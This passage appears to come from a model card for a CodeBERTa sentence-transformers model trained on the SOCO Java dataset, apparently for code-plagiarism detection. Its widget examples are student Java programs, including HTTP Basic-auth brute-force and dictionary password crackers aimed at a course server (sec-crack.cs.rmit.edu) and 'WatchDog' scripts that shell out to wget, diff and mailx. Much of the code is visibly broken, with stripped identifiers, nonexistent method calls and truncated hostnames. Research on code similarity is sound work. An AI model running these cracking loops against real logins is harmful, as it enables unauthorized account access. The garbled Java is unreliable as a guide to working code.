\n for (int ix=0; ix255)?\ \ -1: codes[ data[ix] ];\n\n if ( value >= 0 ) \n {\n\ \ accum <<= 6; \n shift += 6; \n\ \ accum |= value; \n if ( shift >= 8 ) \n\ \ {\n shift -= 8; \n out[index++]\ \ = \n (byte) ((accum >> shift) & 0xff);\n \ \ }\n }\n \n \n \n \n \n \n \ \ }\n\n \n if( index != out.length)\n {\n throw new Error(\"\ Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\ \ \")\");\n }\n\n return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\ \ =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\ \n .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\ static {\n for (int i=0; i<256; i++) codes[i] = -1;\n for (int i = 'A';\ \ i <= 'Z'; i++) codes[i] = (byte)( i - 'A');\n for (int i = 'a'; i <=\ \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n for (int i = '0'; i <= '9';\ \ i++) codes[i] = (byte)(52 + i - '0');\n codes['+'] = 62;\n codes['/']\ \ = 63;\n}\n}" - "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\n\ public class Dictionary\n{\n\n\n\n public void crackAddress(String fileName)\ \ throws Exception\n {\n String line,username=\"\",passwd,pass;\n \ \ int flag=0,i;\n BufferedReader bf = new BufferedReader(new FileReader(fileName));\n\ \ Runtime run = Runtime.getRuntime();\n GregorianCalendar =new GregorianCalendar();\n\ \ while((passwd=bf.readLine().trim())!=null)\n {\n if((i=passwd.indexOf(\"\ \\'\"))!= -1)\n {\n passwd =passwd.substring(0,i)+(\"\ \\\\\")+(passwd.substring(i,passwd.length()));\n }\n\n \ \ System.out.println(\"Hack password with the word:\"+passwd);\n\t String\ \ command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\"\ :\"+passwd+\" -dump\";\n\t Process result = run.exec(command_line);\n \ \ BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\ \n while((line=bf.readLine())!=null)\n {\n flag=1;\n \ \ break;\n\n }\n if(flag==1)\n {\n System.out.println(\"\ The username is: \"+username+\" The password is: \"+passwd);\n break;\n\ \ }\n }\n GregorianCalendar end=new GregorianCalendar();\n\ \ double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n\ \ System.out.println(\"The attack use\"+time+\" seconds.\");\n }\n\n\ public static void main(String args[]) throws Exception\n{\n Dictionary ds =\ \ new Dictionary();\n ds.crackAddress(args[0]);\n}\n}" - source_sentence: "package java.httputils;\n\nimport java.io.BufferedInputStream;\n\ import java.io.BufferedOutputStream;\nimport java.io.BufferedReader;\nimport java.io.FileInputStream;\n\ import java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport\ \ java.io.FileReader;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\ \n\npublic class WatchDog\n{\n protected final int MILLIS_IN_HOUR = (60 * 60\ \ * 1000);\n protected int interval = 24;\n protected String URL = \"http://www.cs.rmit.edu./students/\"\ ;\n protected String fileName = \"WatchDogContent.html\";\n protected String\ \ command = \"./alert_mail.sh\";\n protected String savedContent;\n protected\ \ String retrievedContent;\n\n \n public WatchDog()\n {\n super();\n\ \ }\n\n \n public void run() throws Exception\n {\n HttpRequestClient\ \ client = null;\n \n \n System.out.println(getClass().getName()\ \ +\n \"Retrieving baseline copy of: \" + getURL());\n\ \ client = new HttpRequestClient(getURL());\n retrievedContent =\ \ client.getContent().toString();\n\n System.out.println(getClass().getName()\ \ +\n \"Writing baseline content : \" + getFileName());\n\ \ writeFile();\n\n while (true)\n {\n \n \ \ System.out.println(getClass().getName() +\n \ \ \" Sleeping for hours: \" + getInterval());\n Thread.currentThread().sleep(MILLIS_IN_HOUR\ \ * getInterval());\n\n \n System.out.println(getClass().getName()\ \ +\n \" Retrieving: \" + getURL());\n\n \ \ client = new HttpRequestClient(getURL());\n retrievedContent = client.getContent().toString();\n\ \n \n System.out.println(getClass().getName() +\n \ \ \" saved copy: \" + getURL());\n savedContent\ \ = readFile();\n\n \n System.out.println(getClass().getName()\ \ +\n \" Comparing saved and retrieved. \");\n \ \ if (!savedContent.equals(retrievedContent))\n {\n \ \ \n System.out.println(getClass().getName() +\n \ \ \" Difference found. \");\n\n writeTempFile();\n\ \ runCommand();\n }\n\n \n writeFile();\n\ \ }\n }\n\n\n \n public String runCommand()\n {\n String\ \ cmd = getCommand() + \" \\\"\" + getURL() + \"\\\"\";\n try\n \ \ {\n Runtime r = Runtime.getRuntime();\n System.out.println(getClass().getName()\ \ +\n \" Executing: \" + cmd);\n\n Process proc = r.exec(cmd);\n\ \ }\n catch (Exception e)\n {\n try\n \ \ {\n Runtime r = Runtime.getRuntime();\n Process\ \ proc = r.exec(cmd);\n }\n catch (Exception ex)\n \ \ {\n System.out.println(getClass().getName()\n \ \ + \" Could not run :\"\n + getCommand()\n \ \ + \" because : \"\n + ex.getMessage());\n \ \ }\n }\n\n return \"Executed successfully\";\n }\n\ \n \n protected String readFile() throws FileNotFoundException\n {\n\ \ BufferedInputStream input = null;\n FileInputStream file = null;\n\ \ StringBuffer content = new StringBuffer();\n try\n {\n\ \ file = new FileInputStream(getFileName());\n \n \ \ input = new BufferedInputStream(file);\n \n }\n \ \ catch (FileNotFoundException x)\n {\n System.err.println(\"\ File not found: \" + getFileName());\n throw x;\n }\n\n \ \ try\n {\n int ch;\n while ((ch = input.get())\ \ != -1)\n {\n content.append((char)ch);\n \ \ }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n\ \ }\n finally\n {\n if (input != null)\n \ \ {\n try\n {\n input.get();\n\ \ file.get();\n }\n catch (IOException\ \ e)\n {\n }\n }\n }\n \ \ return content.toString();\n }\n\n \n protected void writeFile() throws\ \ Exception\n {\n OutputStream os = null;\n try\n {\n\ \ os = new BufferedOutputStream(\n new FileOutputStream(getFileName(),\ \ false));\n os.write(getRetrievedContent().getBytes());\n }\n\ \ catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\ \ throw e;\n }\n catch (IOException e)\n {\n \ \ e.printStackTrace();\n throw e;\n }\n finally\n\ \ {\n if (os != null)\n {\n try\n\ \ {\n os.close();\n }\n \ \ catch (IOException e)\n {\n }\n \ \ }\n }\n }\n\n \n protected void writeTempFile() throws\ \ Exception\n {\n OutputStream os = null;\n try\n {\n\ \ os = new BufferedOutputStream(\n new FileOutputStream(\"\ .html\", false));\n os.write(getRetrievedContent().getBytes());\n \ \ }\n catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\ \ throw e;\n }\n catch (IOException e)\n {\n \ \ e.printStackTrace();\n throw e;\n }\n finally\n\ \ {\n if (os != null)\n {\n try\n\ \ {\n os.close();\n }\n \ \ catch (IOException e)\n {\n }\n \ \ }\n }\n }\n\n public static void main(String[] args)\n \ \ {\n WatchDog watchDog = new WatchDog();\n\n if (args.length\ \ < 3)\n {\n watchDog.printUsage();\n }\n\n \n\ \ System.out.println(watchDog.getClass().getName() +\n \ \ \": Initialising with \" +\n args[0] + \" \\n\"\ \ +\n args[1] + \" \\n\" +\n args[2]\ \ + \" \\n\");\n watchDog.setURL(args[0]);\n watchDog.setInterval(Integer.parseInt(args[1]));\n\ \ watchDog.setCommand(args[2]);\n\n \n try\n {\n \ \ System.out.println(watchDog.getClass().getName() + \": Invoking the\ \ run method.\");\n watchDog.run();\n }\n catch (Exception\ \ e)\n {\n e.printStackTrace();\n }\n }\n\n public\ \ String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n\ \ s.append(\"** WatchDog proper usage **\\n\\n\");\n s.append(\n\ \ this.getClass().getName() +\n \" \\n\\n\");\n\n return s.toString();\n }\n\n \n public\ \ String getCommand()\n {\n return command;\n }\n\n \n public\ \ String getFileName()\n {\n return fileName;\n }\n\n \n public\ \ int getInterval()\n {\n return interval;\n }\n\n \n public\ \ String getURL()\n {\n return URL;\n }\n\n \n public void\ \ setCommand(String string)\n {\n command = string;\n }\n\n \n\ \ public void setFileName(String string)\n {\n fileName = string;\n\ \ }\n\n \n public void setInterval(int i)\n {\n interval =\ \ i;\n }\n\n \n public void setURL(String string)\n {\n URL\ \ = string;\n }\n\n \n public String getRetrievedContent()\n {\n \ \ return retrievedContent;\n }\n\n \n public String getSavedContent()\n\ \ {\n return savedContent;\n }\n\n \n public void setRetrievedContent(String\ \ string)\n {\n retrievedContent = string;\n }\n\n \n public\ \ void setSavedContent(String string)\n {\n savedContent = string;\n\ \ }\n\n}\n" sentences: - "\n\n\n\n\n\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic\ \ class BruteForce\n{\n\n\tpublic static void main(String[] args) \n\t{\n \ \ Runtime rt = Runtime.getRuntime();\n\t Process pr= null;\n \ \ char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\ \t String pass;\n char temp[] = {'a','a'};\n char temp1[] =\ \ {'a','a','a'};\n char temp2[] = {'a'};\n\n\t String f= new String();\n\ \ String resp = new String();\n int count=0;\n String\ \ success = new String();\n InputStreamReader instre;\n BufferedReader\ \ bufread;\n\n\n for(int k=0;k<52;k++)\n {\n \ \ temp2[0]=chars[k];\n pass = new String(temp2); \ \ \n count++; \n\n System.out.println(\"\ The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \ \ \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ;\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\ \n instre = new InputStreamReader(pr.getErrorStream());\n \ \ \n \n bufread\ \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ \ if(resp.equals(\"HTTP request sent, awaiting response...\ \ 200 OK\"))\n {\n System.out.println(\"\ Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ +count);\n System.exit(0);\n \ \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ \ e){}\n }\n\n\n\n \n for(int j=0;j<52;j++)\n \ \ {\n for(int k=0;k<52;k++)\n {\n \ \ temp[0]=chars[j];\n temp[1]=chars[k];\n\n \ \ pass = new String(); \n count++; \ \ \n\n System.out.println(\"The password tried is------->\"\ +pass+\"---and attempt is==\"+count);\n \n f =\"wget --http-user=\ \ --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n\ \ \n\t try\n {\n\t\t pr = rt.exec(f);\n\ \n instre = new InputStreamReader(pr.getErrorStream());\n \ \ \n \n bufread\ \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ \ if(resp.equals(\"HTTP request sent, awaiting response...\ \ 200 OK\"))\n {\n System.out.println(\"\ Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ +count);\n System.exit(0);\n \ \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ \ e){}\n }\n }\n\n\n \n for(int i=0;i<52;i++)\n\ \ for(int j=0;j<52;j++)\n for(int k=0;k<52;k++)\n \ \ {\n temp1[0]=chars[i];\n temp1[1]=chars[j];\n\ \ temp1[2]=chars[k];\n pass = new String(temp1);\ \ \n count++; \n\n System.out.println(\"\ The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \ \ \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ;\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\ \n instre = new InputStreamReader(pr.getErrorStream());\n \ \ \n \n bufread\ \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ \ if(resp.equals(\"HTTP request sent, awaiting response...\ \ 200 OK\"))\n {\n System.out.println(\"\ Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ +count);\n System.exit(0);\n \ \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ \ e){}\n }\n\t\n\t\t\n\t}\n\t\n\t\n} \n\t\t\n" - "import java.util.*;\nimport java.io.*;\n\n\n\npublic class WatchDog {\n\n public\ \ WatchDog() {\n\n }\n public static void main(String args[]) {\n DataInputStream\ \ newin;\n\n try{\n\n\n System.out.println(\"Downloading first copy\"\ );\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O\ \ oldfile.html\");\n String[] cmdDiff = {\"//sh\", \"-c\", \"diff oldfile.html\ \ newfile.html > Diff.txt\"};\n String[] cmdMail = {\"//sh\", \"-c\", \"\ mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\" < Diff.txt\"};\n while(true){\n\ \ Thread.sleep(24*60*60*1000);\n System.out.println(\"Downloading\ \ new copy\");\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/\ \ -O newfile.html\");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n\ \ Thread.sleep(2000);\n newin = new DataInputStream( new\ \ FileInputStream( \"Diff.txt\"));\n if (newin.readLine() != null){\n\ \ System.out.println(\"Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n\ \ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\ \n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\ \ }\n\n }\n\n}" - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.net.*;\n\n\npublic class\ \ BruteForce {\n\n\tpublic BruteForce() {\n\t\t\n\t}\n\n\tpublic static void main(String[]\ \ args) {\n\n\tString[] validPW = { \"a\", \"b\", \"c\", \"d\", \"e\", \"f\",\ \ \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\",\n\t\t\t\"n\", \"o\", \"p\"\ , \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\",\n\t\t\t\ \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"\ L\", \"M\",\n\t\t\t\"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"\ V\", \"W\", \"X\", \"Y\", \"Z\" };\n\n\tString attackWP = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ;\n\tString userID = \"\";\n\tint trytimes = 0;\n\tint count=52;\n\tString userPassword=\"\ \";\n\ttry {\n\t\t startmillisecond = System.currentTimeMillis();\n\t\n\t\tfor\ \ (int i = 0; i < count; i++) {\n for (int j = 0; j < count;\ \ j++) {\n for (int k = 0; k < count; k++) {\n\t\t\ttrytimes\ \ ++;\n\t\t\tuserPassword = userID + \":\" + validPW[i] + validPW[j] + validPW[k];\n\ \t\t\tint attackOK = new BruteForce().attackURL(userPassword, attackWP);\n\t\t\ \tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\ \t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"\ Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"\ Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t }\n\ \t\t }\n\t\t}\n\t\n\t\tfor (int i = 0; i < count; i++) {\n for\ \ (int j = 0; j < count; j++) {\n\t\t\ttrytimes ++;\n\t\t\tuserPassword = userID\ \ + \":\" + validPW[i] + validPW[j];\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword,\ \ attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\ \t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"\ Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"\ Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t }\n\ \t\t}\n\t\n\t\tfor (int i = 0; i < count; i++) {\n\t\t\tuserPassword = userID\ \ + \":\" + validPW[i];\n\t\t\ttrytimes ++;\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword,\ \ attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\ \t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"\ Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"\ Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t}\n\t\ }\n\tcatch (Exception ioe) {\n System.out.println(ioe.getMessage());\n\ \ }\n finally {\n }\n\t}\n\t\n\tpublic int attackURL(String\ \ userPassword, String attackWP) {\n\t\tint rtn = 1;\n\t\ttry {\n\t\t URL\ \ url = new URL(attackWP);\n\t\t\tSystem.out.println(\"User & Password :\" + userPassword);\n\ \t\t String encoding = Base64Converter.encode (userPassword.getBytes());\n\ \t\t\t\n\t\t\tURLConnection uc = url.openConnection();\n\t\t\tuc.setRequestProperty\ \ (\"Authorization\", \" \" + encoding);\n\t\t\tInputStream content = (InputStream)uc.getInputStream();\n\ \t\t\tBufferedReader in = new BufferedReader (new InputStreamReader (content));\n\ \t\t\tString line;\n\t\t\twhile ((line = in.readLine()) != null) {\n\t\t\t\n\t\ \t\t\tSystem.out.println(line);\n\t\t }\n\t\t} catch (MalformedURLException\ \ e) {\n\t\t\trtn = 2;\n\t \t\tSystem.out.println(\"Invalid URL\");\n\t\t\ } catch (IOException e) {\n \t\t\tSystem.out.println(\"Error URL\");\n\t\ \t\trtn = 2;\n\t\t}\n\t\treturn rtn;\n\t}\n\n}\n" - source_sentence: "\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\n\ public class WatchDog\n{\n\n \n public static void main(String args[])throws\ \ Exception\n {\n Process p1,p2,p3,p4,p5;\n \n for(;;)\n\ \ {\n \n\n String s1[] = {\"/usr/local//tcsh\", \"-c\"\ , \"mailx -s \\\"Part 2-Assignment2 \\\" < change.html\"};\n String\ \ s2[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.* predir\"\ };\n String s3[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\ \ predir\"};\n String s4[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.*\ \ postdir\"};\n String s5[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\ \ postdir\"};\n String s6[] = {\"/usr/local//tcsh\", \"-c\", \"diff copy1\ \ copy2 > diff.html\"};\n\n\n Process p = Runtime.getRuntime().exec(\"\ mkdir predir\");\n p.waitFor();\n Process p1 = Runtime.getRuntime().exec(\"\ mkdir postdir\");\n p1.waitFor();\n\n \n p1 = Runtime.getRuntime().exec(\"\ wget -p --convert-links http://www.cs.rmit.edu./students/\");\n p1.waitFor();\n\ \n Process q2 = Runtime.getRuntime().exec(s2);\n q2.waitFor();\n\ \ Process q3 = Runtime.getRuntime().exec(s3);\n q2.waitFor();\n\ \n \n Thread.sleep(86400000);\n\n p3 = Runtime.getRuntime().exec(\"\ wget -p --convert-links http://www.cs.rmit.edu./students/\");\n p3.waitFor();\n\ \n Process q4 = Runtime.getRuntime().exec(s4);\n q4.waitFor();\n\ \ Process q5 = Runtime.getRuntime().exec(s5);\n q5.waitFor();\n\ \n try\n {\n String str;\n p4 = Runtime.getRuntime().exec(s6);\n\ \ DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n\ \ p4.waitFor();\n \n System.out.println(\"The\ \ WatchDog - Returns 0 if change else 1\");\n System.out.println(\"\ Value :\" + p4.exitValue());\n try\n {\n \ \ while ((str = inp1.readLine()) != null)\n {\n \ \ System.out.println(str);\n }\n }\n \ \ catch (IOException e)\n {\n System.exit(0);\n \ \ }\n\n }\n catch(FileNotFoundException e )\n \ \ {\n e.printStackTrace();\n }\n\n BufferedReader\ \ in = new BufferedReader(new FileReader(\"change.html\"));\n \n \ \ if (in.readLine() != null)\n {\n\n try\n {\n\ \ String str1;\n p5 = Runtime.getRuntime().exec(s1);\n \ \ DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n\ \ p5.waitFor();\n try\n {\n while\ \ ((str1 = inp2.readLine()) != null)\n {\n System.out.println(str1);\n\ \ }\n }\n catch (IOException e1)\n \ \ {\n System.exit(0);\n }\n\n }\n \ \ catch(FileNotFoundException exp)\n {\n exp.printStackTrace();\n\ \ }\n\n }\n }\n }\n}\n\n" sentences: - "import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\ \nclass Dictionary{\n\n public static void main(String [] args){\n \ \ try\n {\n Date d = new Date();\n \ \ String line1=\"\";\n String ps=\"\";\n \ \ String file1 = \"words.txt\";\n String file2 = \"index.html\"\ ;\n String endline=\"Authorization failed.\";\n \ \ String [] cmd = new String[4];\n cmd[0] = \"wget\";\n \ \ cmd[1] = \"--http-user=\";\n cmd[3] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ ;\n\n FileReader fr1 = new FileReader(file1);\n \ \ BufferedReader in1 = new BufferedReader(fr1);\n while((line1\ \ = in1.readLine())!=null)\n {\n try{\n \ \ cmd[2] = connect(line1);\n Runtime.getRuntime().exec(cmd);\n\ \ if(line1.length()==3)\n ps = line1;\n\ \ System.out.println(cmd[2]);\n File f =\ \ new File(file2);\n if(f.exists())\n {\n\ \ System.out.println(\"password: \" + ps);\n \ \ break;\n }\n }\n \ \ catch(IOException ex)\n {\n System.out.println(\"\ hello1\");\n }\n\n }\n Date end\ \ = new Date();\n System.out.println(d.toString());\n \ \ System.out.println(end.toString());\n System.out.println(\"\ Seconds: \" + (end.getSeconds()-d.getSeconds()));\n }\n\n \ \ catch(IOException e)\n {\n System.out.println(\"\ hello,didnt find file.\");\n }\n }\n public static String connect(String\ \ str1)\n {\n char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};\n\ \ String str = new String(data);\n return str\ \ + str1;\n }\n\n}\n" - "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\n\ import java.*;\nimport java.util.*;\n\n\npublic class WatchDog\n{\n public\ \ static FileWriter out = null, output = null;\n\n public static void main\ \ (String args[]) throws Exception {\n\tSocket socket = null;\n\tDataOutputStream\ \ = null;\n\tBufferedReader bf = null, fr = null;\n\tString retVal = null, StatusCode\ \ = \"HTTP/1.1 200 OK\";\n int dirty = 0, count = 0;\n\n stime = System.currentTimeMillis();\n\ \ System.out.println(\"Detecting the changes...\");\n\n try {\n\n\ \t \n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"\ );\n URLConnection yc = yahoo.openConnection();\n\n \n \ \ BufferedReader in = new BufferedReader(\n \ \ new InputStreamReader(\n yc.getInputStream()));\n\ \n String inputLine;\n try {\n out = new\ \ FileWriter(\"newstudent\");\n while ((inputLine = in.readLine())\ \ != null){\n out.write(inputLine + \"\\n\");\n \ \ }\n } catch (IOException ex) {\n ex.printStackTrace();\n\ \ }\n in.print();\n out.print();\n\n \ \ dirty = diff();\n if (dirty == 1){\n sendMail();\n\ \ System.out.println(\"Changes detected and email sent!\");\n \ \ }\n\n if (diffimages() == 1){\n sendMail();\n\ \ System.out.println(\"Images modification detected and email sent!\"\ );\n }\n\n updatePage();\n System.out.println(\"\ ** End of WatchDog checking **\");\n\n } catch (Exception ex) {\n \ \ ex.printStackTrace();\n }\n }\n\n public static\ \ int diff()\n {\n int update = 0;\n\n try{\n Process\ \ process = Runtime.getRuntime().exec(\"diff -b RMITCSStudent newstudent\");\n\ \ BufferedReader pr = new BufferedReader(\n \ \ new InputStreamReader(\n process.getInputStream()));\n\ \n output = new FileWriter(\"output\");\n String inputLine;\n\ \ while ((inputLine = pr.readLine()) != null){\n output.write(inputLine\ \ + \"\\n\");\n update = 1;\n }\n output.promt();\n\ \n }catch (Exception ex){\n ex.printStackTrace();\n }\n\ \ return update;\n }\n\n public static int diffimages()\n {\n \ \ int update = 0;\n String image;\n\n try{\n Process\ \ primages = Runtime.getRuntime().exec(\"./images.sh\");\n wait(1);\n\ \ File imageFile = new File(\"imagesname\");\n BufferedReader\ \ fr = new BufferedReader(new FileReader(imageFile));\n\n output = new\ \ FileWriter(\"output\");\n while ((image = fr.readLine()) != null)\ \ {\n primages = Runtime.getRuntime().exec(\"diff \" + image +\ \ \" o\"+image);\n BufferedReader pr = new BufferedReader(\n \ \ new InputStreamReader(\n \ \ primages.getInputStream()));\n\n String\ \ inputLine;\n while ((inputLine = pr.readLine()) != null){\n\ \ output.write(inputLine + \"\\n\");\n \ \ update = 1;\n }\n }\n output.print();\n\ \ fr.close();\n\n }catch (Exception ex){\n ex.printStackTrace();\n\ \ }\n return update;\n }\n\n public static void sendMail()\n\ \ {\n try{\n Process mailprocess = Runtime.getRuntime().exec(\"\ ./email.sh\");\n }catch (Exception ex){\n ex.printStackTrace();\n\ \ }\n }\n\n public static void updatePage()\n {\n String\ \ image;\n\n try{\n Process updateprocess = Runtime.getRuntime().exec(\"\ cp newstudent RMITCSStudent\");\n Process deleteprocess = Runtime.getRuntime().exec(\"\ rm newstudent\");\n\n File inputFile = new File(\"imagesname\");\n \ \ BufferedReader fr = new BufferedReader(new FileReader(inputFile));\n\ \ while ((image = fr.readLine()) != null) {\n updateprocess\ \ = Runtime.getRuntime().exec(\"cp \" + image + \" o\" + image);\n \ \ deleteprocess = Runtime.getRuntime().exec(\"rm \" + image);\n \ \ }\n fr.close();\n }catch (Exception ex){\n ex.printStackTrace();\n\ \ }\n }\n\n public static void wait(int time){\n\t int timer, times;\n\ \t timer = System.currentTimeMillis();\n\t times = (time * 1000) + timer;\n\ \n\t while(timer < times)\n\t\t\ttimer = System.currentTimeMillis();\n\t}\n}" - "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\ \n\npublic class BruteForce\n{\n\n\tprivate String result =\"\";\n\n\tpublic\ \ class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String\ \ passwd)\n {\n this.pass = passwd;\n }\n\n\t \ \ protected PasswordAuthentication getPasswordAuthentication()\n \ \ {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n\ \ }\n public String pass;\n }\n\n public BruteForce()\ \ {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n\ \ System.out.println(d.toString());\n\t\tchar words[] = { 'a','b','c','d','e',\ \ 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',\n\t\t\t\t\t\t\t 'q','r','s','t','u','v','w','x','y','z',\ \ 'A','B','C','D','E', 'F', 'G',\n\t\t\t\t\t\t\t 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\ \n\t\tString record = null;\n\n\n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ ;\n\n\t\tchar pass[] = {'x','x','x'};\n\t\tint count=1;\n\t\tString passwd=new\ \ String();\n HttpURLConnection connection = null;\n URL u = null;\n\ \n try\n {\n u = new URL(url);\n\n }\n catch\ \ (MalformedURLException e)\n {\n }\n\n for(int a=0;a - **Maximum Sequence Length:** 512 tokens - **Output Dimensionality:** 768 dimensions - **Similarity Function:** Cosine Similarity - **Training Dataset:** - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) ### Model Sources - **Documentation:** [Sentence Transformers Documentation](https://sbert.net) - **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) - **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) ### Full Model Architecture ``` SentenceTransformer( (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) ) ``` ## Usage ### Direct Usage (Sentence Transformers) First install the Sentence Transformers library: ```bash pip install -U sentence-transformers ``` Then you can load this model and run inference. ```python from sentence_transformers import SentenceTransformer # Download from the 🤗 Hub model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass") # Run inference sentences = [ '\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\npublic class WatchDog\n{\n\n \n public static void main(String args[])throws Exception\n {\n Process p1,p2,p3,p4,p5;\n \n for(;;)\n {\n \n\n String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \\"Part 2-Assignment2 \\" < change.html"};\n String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};\n String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};\n String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};\n String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};\n String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};\n\n\n Process p = Runtime.getRuntime().exec("mkdir predir");\n p.waitFor();\n Process p1 = Runtime.getRuntime().exec("mkdir postdir");\n p1.waitFor();\n\n \n p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n p1.waitFor();\n\n Process q2 = Runtime.getRuntime().exec(s2);\n q2.waitFor();\n Process q3 = 